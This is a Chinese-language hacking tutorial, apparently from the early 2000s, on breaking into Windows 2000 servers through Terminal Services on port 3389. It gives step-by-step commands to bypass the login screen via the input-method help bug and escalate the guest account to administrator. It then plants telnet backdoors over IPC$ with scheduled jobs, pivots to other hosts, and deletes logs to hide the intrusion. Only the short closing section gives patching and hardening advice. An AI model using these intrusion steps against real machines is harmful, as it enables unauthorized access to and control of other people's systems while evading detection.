win2k的3389端口攻击

WIN2000 中文简体版存在的输入法漏洞，可以使本地用户绕过身分验证机制进入系统内部。经实验， WIN2000 中文简体版的终端服务，在远程操作时仍然存在这一漏洞，而且危害更大。  
WIN2000 的终端服务功能，能使系统管理员对 WIN2000 进行远程操作，采用的是图形界面，能使用户在远程控制计算机时功能与在本地使用一样，其默认端口为 3389 ，用户只要装了 WIN2000 的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为 WIN2000 的合法木马。  
工具：客户端连接管理器，下载地址：自己找吧，天天有好几种呢。  
入侵步骤：  
一，获得管理员账号。  
我们先对一个网段进行扫描，扫描端口设为 3389 ，运行客户端连接管理器，将扫描到的任一地址加入到，设置好客户端连接管理器，然后与服务器连结。几秒钟后，屏幕上显示出 WIN2000 登录界面（如果发现是英文或繁体中文版，放弃，另换一个地址），用 CTRL+SHIFT 快速切换输入法，切换至全拼，这时在登录界面左下角将出现输入法状态条（如果没有出现，请耐心等待，因为对方的数据流传输还有一个过程）。用右键点击状态条上的微软徽标，弹出 “ 帮助 ” （如果发现 “ 帮助 ” 呈灰色，放弃，因为对方很可能发现并已经补上了这个漏洞），打开 “ 帮助 ” 一栏中 “ 操作指南 ” ，在最上面的任务栏点击右键，会弹出一个菜单，打开 “ 跳至 URL” 。此时将出现 WIN2000 的系统安装路径和要求我们填入的路径的空白栏。比如，该系统安装在Ｃ盘上，就在空白栏中填入 "c:/winnt/system32" 。然后按 “ 确定 ” ，于是我们就成功地绕过了身份验证，进入了系统的 SYSTEM32 目录。  
现在我们要获得一个账号，成为系统的合法用户。在该目录下找到 "net.exe" ，为 "net.exe" 创建一个快捷方式，右键点击该快捷方式，在 “ 属性 ” － > “目标”－ >c:/winnt/system32/net.exe 后面空一格，填入 "user guest /active :yes" 点 “ 确定 ” 。这一步骤目的在于用 net.exe 激活被禁止使用的 guest 账户，当然也可以利用 "user  用户名　密码／ add" ，创建一个新账号，但容易引起网管怀疑。运行该快捷方式，此时你不会看到运行状态，但 guest 用户已被激活。然后又修改该快捷方式，填入 "user guest  密码 " ，运行，于是 guest 便有了密码。最后，再次修改，填入 “localgroup administrators guest /add ，将 guest 变成系统管理员。  
注意事项：１、在这过程中，如果对方管理员正在使用终端服务管理器，他将看到你所打开的进程 id ，你的 ip 和机器名，甚至能够给你发送消息。  
２、终端服务器在验证你的身份的时候只留给了你一分钟的时间，在这一分钟内如果你不能完成上述操作，你只能再连结。  
３、你所看到的图像与操作会有所延迟，这受网速的影响。  

二，创建跳板。  
再次登录终端用务器，以 "guest" 身份进入，此时 guest 已是系统管理员，已具备一切可执行权。打开 “ 控制面板 ” ，进入 “ 网络和拔号连接 ” ，在 “ 本地连接 ” 或 “ 拔号连接 ” 中查看属性，看对方是否选择 “Microsoft  网络的文件和打印机共享 ” ，如果没有，就打上勾。对方如果使用的是拔号上网，下次拔号网络共享才会打开。  
退出对方系统，在本地机命令提示符下，输入  
net use //IP Address/IPC$ ["password"] /user:"guset" ，通过 IPC 的远程登陆就成功了。  
登陆成功之后先复制一个 Telnet 的程序上去（小榕流光安装目录下的 Tools 目录里的 Srv.exe, 另外，还有 ntml.xex ，一会要用），这个程序是在对方上面开一个 Telnet 服务，端口是 99 。  
copy c:/hack/srv.exe //***.***.***.***/admin$ 
然后利用定时服务启动它，先了解对方的时间：  
net time //***.***.***.*** 
显示：  
//***.***.***.***  的当前时间是  2001/1/8  下午  08:55 
命令成功完成。  
然后启动 srv.exe: 
at //***.***.***.*** 09:00 srv.exe 　  
显示：  
新加了一项作业，其作业  ID = 0 
过几分钟后， telnet ***.***.***.*** 99 
这里不需要验证身份，直接登录，显示：  
c:/winnt:/system32> 
我们就成功登陆上去了。然后又在本地打开命令提示符，另开一个窗口，输入：  
copy c:/hack/ntlm.exe //211.21.193.202/admin$ 
把事先存放在 hack 目录里的 ntlm.exe 拷过去。然后又回到刚才的 telnet 窗口，运行 ntlm.exe 
C:/WINNT/system32>ntlm 
显示：  
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved. 
Done! 
C:/WINNT/system32> 
C:/WINNT/system32> 
好，现在我 WIN2000 本身的 telnet ，首先终止 srv.e 们来启动 xe 的 telnet 服务：  
net stop telnet 　系统告诉你并没有启动 telnet ，不理它，继续：  
net start telnet 　这次真的启动了 telnet ，我们可以在另开的命令提示符窗口 telnet 到对方的  
23 端口，验证身份，输入我们的 guest 账号和密码，它就真正成为我们的跳板了。我们可以利用它到其它的主机去。  
三、扫除脚印：  
删除为 net.exe  创建的快捷方式，删除 winnt/system32/logfiles 下边的日志文件  

补漏方法：  
1 、打补丁  
2 、删除输入法帮助文件  
3 、停止终端服务。
win 2000 sever 3389 安全问题解决办法

正确的做法：
在 windowsupdate.microsoft.com 把所有关键更新全部更新，然后注意管理员密码要在 8 位以上数字字母混合，最好有符号！（这点非常重要，符号就是 !%#$& 这些啦。），然后要做的是（前提你这台机器不需要在局域网里被别的机器访问）创建一个 run.bat 文件，里面打上如下内容：
net share ipc$ /del
net share admin$ /del
net share c$ /del
net share d$ /del
。。。。。有几个分区写几个，保存到启动菜单里。
然后呢禁用 runas service,remote registry service,task sheduler ， dns,dhcp 等服务最好也设置成手动， qouta ， daytime 等服务一定关掉以免被 DOS ，在 iis 里删掉 .ida,.idq,.printer 的映射，用 ipsec 过滤掉外网访问 135 、 139 、 445 、 3389 端口
还有要注意如果装了 mssql 要把 sa 默认空密码改掉， mysql 的 root 密码改掉
还有如果你的网站有上传附件的功能请注意过滤扩展名！最好不要用 phpbb 论坛，最近发现了漏洞。